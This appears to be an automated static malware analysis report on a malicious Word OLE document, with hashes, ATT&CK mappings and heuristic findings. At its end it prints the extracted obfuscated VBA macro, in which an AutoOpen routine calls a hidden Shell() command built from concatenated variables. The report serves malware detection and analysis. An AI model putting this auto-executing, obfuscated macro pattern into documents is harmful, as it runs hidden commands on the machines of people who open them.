Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4db50ed34771e13f…

MALICIOUS

Office (OLE)

76.3 KB First seen: 2019-05-16
MD5: d9209681e8b5d240e44fd6e2e70fb3b3 SHA-1: e3fad99efb76e5c4f1d99ebbd49b14c4c7063167 SHA-256: 4db50ed34771e13fed69edbb2458e53c1d360adc4b6e38d7a6cfed8c82cca0cb
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OLE document containing a VBA macro with an AutoOpen subroutine. This macro calls the Shell() function, which is a critical indicator of malicious activity, likely for downloading and executing a secondary payload. The presence of legacy WordBasic markers and a large slack space anomaly further suggest a potentially older or obfuscated malicious document.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 78,090 bytes but its declared streams total only 35,994 bytes — 42,096 bytes (54%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1451 bytes
SHA-256: 716aadc8715ba4ab6ced5d2202d416f8cfd5c6ca1b74d10867364ee9e5f081fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZTsvwzjim"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function NvKmETl()
On Error Resume Next
Select Case KAlvMmdlX
      Case 60808
         bwbWF = 73907
         lCIwAF = CDbl(23683)
      Case 94154
         DujPpv = GkXmq
         OidkNf = 98117
End Select
Select Case KAlZwNaKW
      Case 93178
         lniPEa = 83340
         QRfoUl = CDbl(65563)
      Case 444
         KndUQr = zwdwTp
         ZLiwjD = 52173
End Select
NvKmETl = tKazInTdh + Shell(djmBM + Chr(vbKeyP) + CcNwtpYQY + IYEncm + FOvKdSKHji + BzBzhLLXOU + RZhEkd + WZKGFVvu + OZakWpZuiz + qzBjFCNI + cnjbtaJ, WpSbXuQ + vbHide + GUBTtdSlM)
Select Case KAlnnnUw
      Case 99893
         RnPNc = 65
         SIVwCR = CDbl(16551)
      Case 94938
         XamGcq = wwWoAq
         wujnip = 62616
End Select
End Function
Sub Autoopen()
On Error Resume Next
Select Case KAlMiqtW
      Case 55140
         AJNpsQ = 87111
         tibAR = CDbl(31507)
      Case 10634
         hcbZB = idHOR
         HPjTK = 22249
End Select
NvKmETl
Select Case KAlNaKzQC
      Case 69162
         EDpPpH = 36442
         QvDlf = CDbl(58767)
      Case 69679
         iwfCdz = pFUsl
         iKWRi = 50422
End Select
End Sub

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